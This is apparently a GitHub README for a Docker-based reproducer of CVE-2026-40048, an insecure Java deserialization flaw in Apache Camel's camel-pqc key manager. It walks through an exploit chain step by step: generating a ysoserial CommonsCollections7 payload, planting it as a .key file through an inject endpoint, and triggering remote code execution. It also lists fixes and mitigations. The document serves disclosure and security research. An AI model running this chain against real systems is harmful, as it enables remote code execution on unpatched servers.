oscerd/CVE-2026-40048
GitHub: oscerd/CVE-2026-40048
Apache Camel camel-pqc 组件 FileBasedKeyLifecycleManager 不安全反序列化漏洞(CVE-2026-40048)的完整复现环境,演示从 payload 注入到远程代码执行的攻击链。
Stars: 0 | Forks: 0
# camel-pqc FileBasedKeyLifecycleManager 不安全反序列化复现器 (CVE-2026-40048)
本项目演示了 Apache Camel 的 `camel-pqc` 组件中的一个 **Java 反序列化漏洞**,编号为
**CVE-2026-40048**。`FileBasedKeyLifecycleManager` 使用原生的 `ObjectInputStream` 读取配置的
密钥目录中的 `.key` 文件,并且没有使用 `ObjectInputFilter`,因此能够写入该目录的
攻击者可以实现**远程代码执行**。
安全公告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-pqc` |
| **受影响类** | `org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager` (`getKey`) |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **影响** | Remote Code Execution (RCE) |
| **受影响版本** | 从 4.18.0 到 4.18.2 之前,以及从 4.19.0 到 4.20.0 之前 |
| **修复版本** | 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23200 |
| **报告者** | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
## 技术细节
`FileBasedKeyLifecycleManager` 将后量子密钥以序列化 Java 对象的形式持久化存储在
`/.key` 中。加载密钥时会使用原生的 `ObjectInputStream` 反序列化该文件,
而向 `KeyPair` 的强制类型转换仅发生在 `readObject()` 返回**之后**:
```
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
```
可以通过路径遍历、配置错误的卷权限、被入侵的密钥配给流水线或符号链接攻击等方式
获取密钥目录写入权限的攻击者,可以植入一个精心构造的序列化对象,该对象会在正常的
密钥生命周期加载期间执行。
## 前置条件
- Java 17+ 和 Maven 3.8+(用于构建 jar)
- Docker(用于运行复现器)
- ysoserial(用于生成 payload)
## 复现步骤
### 步骤 1:构建 jar 并启动容器
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 步骤 2:生成恶意 payload
```
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# 良性证明:创建 /tmp/pwned。在 JDK 21 上添加 --add-opens 以生成 CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
```
### 步骤 3:将 payload 植入为 `.key`
```
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# 将字节写入到容器内部的 /tmp/pqc-keys/mykey.key
```
### 步骤 4:触发密钥生命周期加载(RCE)
```
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget 执行
# -> ">>> RCE 证明 — /tmp/pwned 存在:true"
```
### 步骤 5:验证
```
docker exec cve-2026-40048 ls -la /tmp/pwned
```
### 清理
```
docker compose down
```
## 攻击向量
`getKey()` 会在正常的密钥生命周期操作(签名/验证密钥检索、轮换检查等)期间被调用,
因此只要加载了攻击者植入的 `.key`,就会触发反序列化。
## 利用条件
1. **对 `FileBasedKeyLifecycleManager` 使用的密钥目录具有写入权限**(共享/配置错误的卷、
路径遍历、被入侵的配给流程、符号链接)。
2. **classpath 中存在 gadget 库**(例如 `commons-collections:3.2.1`)。
## 相关的后续 CVE
密钥存储中使用 `ObjectInputStream` 的模式随后得到了更广泛的处理:
- **CVE-2026-46590** — HashiCorp Vault + AWS Secrets Manager 同类管理器(修复不完全的后续漏洞)。
- **CVE-2026-43867** — 针对相同 AWS Secrets Manager 路径的独立报告。
## 建议修复
升级到 4.18.2 / 4.20.0。该修复将基于 `ObjectInputStream` 的存储方式替换为标准的 PKCS#8
(私钥)/ X.509 SubjectPublicKeyInfo(公钥)Base64 JSON 编码。
## 缓解措施
在升级之前:
1. **限制写入权限**,仅允许应用程序自身身份对密钥目录进行写入。
2. **移除 gadget 库**(升级/移除 commons-collections 3.x)。
3. 将密钥材料保存在可信度较低的主体无法写入的卷上。
## 文件
```
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
```
## 免责声明
本复现器仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,
请勿将其用于针对任何系统。
标签:Apache Camel, Java反序列化, JS文件枚举, RCE验证, 后量子密码学, 域名枚举, 漏洞复现, 请求拦截